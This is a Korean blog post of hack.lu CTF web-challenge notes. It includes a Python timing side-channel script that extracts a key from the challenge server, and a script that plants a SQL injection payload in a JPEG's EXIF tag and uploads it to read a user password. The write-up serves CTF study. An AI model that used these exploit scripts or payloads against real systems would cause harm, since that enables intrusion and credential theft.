webhacking/etc

이전 ctf연구 (hack.lu)

qkqhxla1 2015. 8. 22. 17:34

https://wildwildweb.fluxfingers.net/ 여기 뒤적거리면서 쓸모있는정보 뽑아서 글씀.


2013 Pay TV 문제. (2010,2011,2012는 딱히 가져올게 없....)

side channel attack을 이용하면 된다고 한다.

이름은 되게 뭔가 거창해보이는데 간단하게 표현하면 sqli의 시간 기반 인젝션으로 보면 될듯하다.


관련 url : http://blog.acronym.co.kr/102

hack.lu ctf를 뒤적거리다가 발견했다... 문제주소 : https://ctf.fluxfingers.net:1316/


여기 들어가서 공격하는건데, 소스코드중에 js가 숨겨져있어 소스를 분석하다보면 /* + '&debug'*/ 로 

주석처리된 부분이 있다. 개발자가 테스트하려고 만들어놓은것 같은데 key입력시 key=0&debug처럼

입력해보면 시작시간과 끝 시간이 json형태로 뜬다.(처리시간) 근데 이 부채널 공격이라는건 저기 링크에 잘 설명된데로 시간을 기반으로 하는것도 있다. 그리고 어떻게 시간의 차이가 생기냐면, 비밀번호를 첫 글자부터 비교해나가면서 맞으면 그냥 넘어가고, 틀리면 조금 더 오랜 시간을 비교한다는 것이다.

writeup = http://thehackerblog.com/pay-tv-writeup-hack-lu-ctf-2013/ 

지금 쓰면서 생각한건데 코드쉘의 http://qkqhxla1.tistory.com/104 이 문제가 이 부채널 공격을 직접적으로 형상화한것으로 보인다. 어쨋든 저 해당 사이트의 문제를 풀려면

# -*- encoding: cp949 -*-
import urllib2, re
req = urllib2.Request('https://ctf.fluxfingers.net:1316/gimmetv','key=A&debug')
page = urllib2.urlopen(req).read()
start = float(re.findall('"start":\s+(.*?),',page)[0])
end = float(re.findall('"end":\s+(.*?),',page)[0])
gap = end-start
print gap

이걸 돌려보면 A일때는 0.1초의 GAP이 생기지만 나머지에는 2초정도의 GAP이 생김으로서 한글자씩 뽑아나가면 된다. 



2014 ImageUpload

문제 : https://wildwildweb.fluxfingers.net:1421/

exif툴로 변조해가면서 sqli를 하면 된다. 너무 간단해서 더 자세히는 안씀.

http://www.captchaflag.com/blog/2014/10/24/hack-dot-lu-2014-imageupload/

http://qkqhxla1.tistory.com/419

공격 소스.

# -*- encoding: cp949 -*-
import pyexiv2, re
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
import urllib2
metadata = pyexiv2.ImageMetadata('camera.jpg')
metadata.read()
metadata.exif_keys
tag = metadata['Exif.Image.Make']
tag.value = "',(SELECT password from users where id = 1 ))#"
metadata.write()

register_openers() #poster가 등록해주는 과정이라함... 없으면 에러뜸.

datagen, headers = multipart_encode({"file": open("camera.jpg", "rb")})
request = urllib2.Request("https://wildwildweb.fluxfingers.net:1421/upload.php", datagen, headers)
request.add_header('cookie','PHPSESSID=brteuf9lq8dejhjab27pqoev03')
page = urllib2.urlopen(request).read()
print '\n'.join(re.findall(r'<td align="center">(.*?)</td>',page))

Objection

해당 언어를 몰라서 안씀.


Killy The Bit

쉬운 sqli문제.

주소 : https://wildwildweb.fluxfingers.net/2014/challenges/13

그냥 소스보면 바로 취약점이 보여서 따로 풀이 주소는 안적음.


Dalton's Corporate Security Safe for Business

프로그래밍 문제. https://wildwildweb.fluxfingers.net:1422/

프로그래밍하려다가 귀찮아서 풀이만. 캡챠인식하면되는데 변수선언 형태가 다양함. var g=(''+!0)[3]; 이렇게 될때도 있고, var b=(4).toString(36); 등등 5가지 이상 형태는 되는듯. 변수선언후 .fillText함수로 글자를 만들어서 결국은 fillText안의 x좌표로 정렬하고(두번째인자), 첫번째 인자는 선언된 변수를 가져오면 됨. 이렇게 여러번 실행하면 된다함.


Encrypted

a b 로 로그인해보면 rot13으로 encrypted된 정보가 url에 뜸. 해독해서 보내면 끝


Next Global Backdoor

https://wildwildweb.fluxfingers.net/2014/challenges/30

df

'webhacking > etc' 카테고리의 다른 글

공유받은 웹문제 일부.  (0) 2015.08.29
codeshell.kr adm1nkyj trick 1, 2  (0) 2015.08.25
php 취약 함수 관련  (0) 2015.08.21
codeshell.kr hash col, dummy 64  (0) 2015.08.10
byte flipping attack 문서 번역, 실습  (0) 2015.08.05